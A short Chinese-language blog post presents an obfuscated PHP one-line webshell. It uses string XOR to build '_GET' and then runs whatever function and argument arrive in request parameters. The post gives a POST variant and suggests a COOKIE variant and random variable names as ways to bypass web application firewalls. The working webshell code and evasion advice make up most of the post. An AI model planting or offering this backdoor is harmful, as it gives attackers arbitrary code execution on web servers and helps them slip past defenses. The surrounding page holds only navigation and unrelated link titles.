客服电话
APP下载
迪恩网络APP
随时随地掌握行业动态
官方微信
扫描二维码
关注迪恩网络微信公众号
|
今天看到如下图所示的PHP一句话，觉得挺有意思。 代码如下： <?=~$_='$<>/'^'{{{{';echo $_;@${$_}[_](@${$_}[__]);?>
效果图： 看下图注释应该就可以一目了然了，就是根据异或运算得到$_=’_GET’。 如果想换成POST方法，则可变化如下。 <?=~$_='$+4(/'^'{{{{{';@${$_}[_](@${$_}[__]);?>
效果图： 换成COOKIE方法，则可变化如下，用于bypass waf更有用吧。这只是一种思路，这个句子还可以有很多种变形，比如随机变量名。 引用: https://www.php.net/manual/zh/language.operators.bitwise.php http://asciima.com/ 转载请注明出处。 |
2022-08-17
2022-11-06
2022-07-29
2022-08-17
2022-07-30
librespeed/speedtest: Self-hosted Speedtest for HTML5 and more. Easy setup, exam
HCL Launch may store certain data for recurring activities in a plain text forma
avehtari/BDA_m_demos: Bayesian Data Analysis demos for Matlab/Octave
女人怀孕后，为了有一个健康聪明的宝宝，经历各种体检、筛查。其实这些体检和筛查中的
DMTF/python-redfish-library: Python3 library for interacting with devices that s
medfreeman/markdown-it-toc-and-anchor: markdown-it plugin to add a toc and ancho
sydney0zq/covid-19-detection: The implementation of A Weakly-supervised Framewor
Use after free in SwiftShader in Google Chrome prior to 101.0.4951.41 allowed a
离中国最远的国家是阿根廷。从太平洋直线计算，即往东线走，北京到阿根廷的布宜诺斯艾
shem8/MaterialLogin: Login view with material design
请发表评论